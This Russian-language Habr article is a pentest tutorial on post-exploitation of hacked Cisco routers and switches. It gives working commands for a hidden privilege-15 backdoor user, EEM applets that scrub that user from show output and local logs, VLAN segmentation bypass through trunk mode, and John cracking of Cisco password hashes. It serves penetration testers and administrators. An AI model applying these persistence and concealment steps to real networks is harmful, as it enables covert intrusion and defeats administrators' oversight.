Пост-эксплуатация взломанного оборудования Cisco

Всем привет, я @necreas1ng и я являюсь исследователем сетевой безопасности, сетевым инженером и специалистом по тестированию на проникновение. В этой небольшой статье ты узнаешь как происходит процесс пост-эксплуатации взломанного оборудования Cisco. Покажу несколько трюков, которые, возможно, подарят тебе импакт во время проведения пентеста.

Intro (Disclaimer)

Данная статья предназначена для специалистов по безопасности, которые проводят тестирование на проникновение в рамках согласованного контракта. Разрушение и взлом чужих компьютерных сетей преследуются по закону. Будь осторожен.

Играем в прятки, используя Cisco EEM

Cisco EEM — это небольшой, скажем так, «язык программирования» с помощью которого можно писать различные сценарии для Cisco IOS, автоматизировать рутинные задачи. В рамках тестирования на проникновения, EEM поможет нам спрятать созданного нами пользователя на взломанном устройстве.

Но! У такого метода есть и свои недостатки, такие как:

  • Есть N-ая вероятность спалиться в логах сервера SYSLOG

  • Есть N-ая вероятность спалиться в логах сервера SNMP

  • Если сетевой инженер тоже использует Cisco EEM, он может заподозрить что-то не ладное

Сначала нам нужно создать самого пользователя, который будет использоваться для закрепления на оборудовании. Соблюдай, чтобы префикс «hidden_» тоже был у ника, создаваемого тобою пользователя. С помощью данного префикса мы и будем прятать созданного нами пользователя по маске » | hidden »

Owned(config)# username hidden_papercut privilege 15 secret tellmeyouloveme

Прячем пользователя из вывода команды «show run»

Данная команда очень часто используется сетевыми инженерами, она выводит конфигурацию устройства, которая используется в данный момент времени.

Owned(config)# event manager applet hide_from_showrun
Owned(config-applet)# event cli pattern "show run" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show run | exclude hidden | event | action”
Owned(config-applet)# action 2.0 puts "$_cli_result_showrunapplet”
Owned(config-applet)# end

Прячем пользователя из вывода команды «show ssh»

Данная команда выводит активных на данный момент пользователей, подключенных через SSH.

Owned(config)# event manager applet hide_from_showssh
Owned(config-applet)# event cli pattern "show ssh" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show ssh | exclude hidden”
Owned(config-applet)# action 2.0 puts "$_cli_result_showsshapplet”

Прячем пользователя из вывода команды «show users»

Данная команда выводит активных на данный момент пользователей, подключенных через VTY. Обычно это удаленные Telnet/SSH-сессии.

Owned(config)# event manager applet hide_from_showusers
Owned(config-applet)# event cli pattern "show users" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show users | exclude hidden”
Owned(config-applet)# action 2.0 puts "$_cli_result_showusersapplet”

Прячем пользователя из локального логирования Cisco IOS

Owned(config)# event manager applet hide_from_showlog
Owned(config-applet)# event cli pattern "show log" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show log | exclude HA_EM | hidden”
Owned(config-applet)# action 2.0 puts "$_cli_result_showlogapplet”

С апплетами EEM можно экспериментировать, не ограничивайся только данными способами.

Lateral VLAN Segmentation Bypass

Если ты получил доступ к коммутатору, к которому ты подключен напрямую — у тебя появляется возможность обхода VLAN-сегментации внутри сети. Достаточно переключить порт в режим магистрального канала (иначе говоря, Trunk), создать виртуальные интерфейсы с идентификаторами целевых VLAN-сетей и настроить IP-адрес. Можно попробовать запросить адрес динамически (DHCP), а можно настроить статически.

Сначала нужно выяснить, к какому именно порту ты подключен. Это можно выяснить либо через CDP-сообщения, либо поискать порт по маске «include»

CDP-объявление от коммутатора. Мы на порту GigabitEthernet 0/2CDP-объявление от коммутатора. Мы на порту GigabitEthernet 0/2

Если вдруг CDP отключен, можно попробовать поискать порт по нашему MAC-адресу.

SW1(config)# show mac address-table | include 0050.0000.0500

Найдент порт Gi0/2 по MAC-адресуНайдент порт Gi0/2 по MAC-адресу

Перед тем как переключиться в транк, необходимо перечислить существующие сети VLAN, выяснить их идентификаторы. Потом эти идентификаторы мы будем вешать на свой интерфейс, чтобы получать доступ к этим сетям VLAN. Таким образом, благодаря транку, мы можем получить доступ в любую сеть VLAN.

SW1# show vlan brief

Информация о сетях VLANИнформация о сетях VLAN

Кстати говоря, порт, к которому мы подключены — принадлежит сети VLAN 10.

Приступим. Входим в режим конфигурации интерфейса и переходим в транковый режим.

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Во время переключения в режим магистрального канала теряется связность. Но скоро мы это исправим.

Потеря связности в момент переключения режима портаПотеря связности в момент переключения режима порта

Создаем виртуальные интерфейсы и «вешаем» на них VLAN ID

necreas1ng@Inguz:~$ sudo vconfig add eth0 10
necreas1ng@Inguz:~$ sudo vconfig add eth0 20
necreas1ng@Inguz:~$ sudo vconfig add eth0 50
necreas1ng@Inguz:~$ sudo vconfig add eth0 60

Поднимаем интерфейсы

necreas1ng@Inguz:~$ sudo ifconfig eth0.10 up
necreas1ng@Inguz:~$ sudo ifconfig eth0.20 up
necreas1ng@Inguz:~$ sudo ifconfig eth0.50 up
necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up

Теперь нужно запросить адрес по DHCP. Но если в твоем случае не будет такой возможности, то можно и статически настроить адрес.

necreas1ng@Inguz:~$ sudo dhclient -v eth0.10
necreas1ng@Inguz:~$ sudo dhclient -v eth0.20
necreas1ng@Inguz:~$ sudo dhclient -v eth0.50
necreas1ng@Inguz:~$ sudo dhclient -v eth0.60

Полученные IP-адреса по DHCPПолученные IP-адреса по DHCP

Пример настройки статического IP-адреса на интерфейсе (VLAN 10)

necreas1ng@Inguz:~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0

Для проверки связи инициирую ICMP-запросы до шлюзов по умолчанию для сетей VLAN 10, 20, 50, 60

Связность до шлюзовСвязность до шлюзов

В итоге, я обошел VLAN-сегментацию и могу пробиться в любую VLAN-сеть, что развязывает мне руки для дальнейших «наступательных» действий.

Bruteforce hashes

Когда ты перечисляешь конфигурацию устройства, есть смысл попытаться сбрутить хеши паролей. Вдруг тебе удастся сбрутить хеш пароля той учетной записи, которая имеет максимальные привилегии. В Cisco IOS есть несколько типов паролей, которые находятся в зашифрованном виде. Табличка ниже сориентирует тебя по типам хешей, как брутить и сколько времени понадобится.

Таблица хешей в Cisco IOSТаблица хешей в Cisco IOS

Теперь приступим к самому брутфорсу. В выводе команды «show run» ты наверняка наткнешься на эти строчки

Учетные записи и их пароли в зашифрованном видеУчетные записи и их пароли в зашифрованном виде

Брутфорс хешей я проведу через утилиту John. Немного отформатирую хеши, чтобы John смог распознать сами хеши внутри файла, который мы будем подавать в качестве входных данных.

BeforeBeforeAfterAfter

Начинаем сам брутфорс. С помощью ключа --wordlist указываем путь до словаря. John сам определит тип хешей внутри файла.

Взломанные пароли пользователей lies и anxiousВзломанные пароли пользователей lies и anxious

Попробуем зайти на маршрутизатор под адресом 10.10.10.100 с кредами пользователя lies

Вход в панель управления маршрутизатором от имени liesВход в панель управления маршрутизатором от имени lies

Configuration Enumeration

Классическое перечисление конфигурации

С помощью команды show run можно выяснить, какая конфигурация исполняется в данный момент времени. Это раскрывает некоторые особенности инфраструктуры, возможно, данная информация приведет тебя к более легкой «победе» во время пентеста. Например, вдруг ты обнаружишь использование AAA-сервера, что дает ещё один вектор атаки (для абьюзинга RADIUS/TACACS)

Owned# show run

Перечисление конфигурации, часть 1Перечисление конфигурации, часть 1Перечисление конфигурации, часть 2Перечисление конфигурации, часть 2

Cisco IOS ver.

Будет полезно узнать версию Cisco IOS на устройстве. С помощью данной информации, пентестер сможет перечислить версию Cisco IOS на предмет наличия той или иной уязвимости. Вдруг он попал на роутер с read-only учеткой, а потенциальное наличие уязвимости даст ему LPE, черт его знает…

Owned# show version

Версия Cisco IOSВерсия Cisco IOS

CCAT

CCAT (Cisco Config Analysis Tool) — это специальная утилита, созданная для анализа файлов конфигурации оборудования Cisco на наличие брешей в безопасности. Она поможет автоматизировать процесс поиска мисконфигураций безопасности, данная утилита будет полезна как пентестерам, так и сетевым администраторам.

CCAT анализирует файл конфигурацииCCAT анализирует файл конфигурации

Outro

В рамках данной статьи я поделился небольшими трюками, которые помогут облегчить жизнь пентестеру. Но думаю, моя статья также подарит сетевым администраторам некоторую осведомленность, с помощью которой они смогут повысить уровень безопасности своего оборудования.

© Habrahabr.ru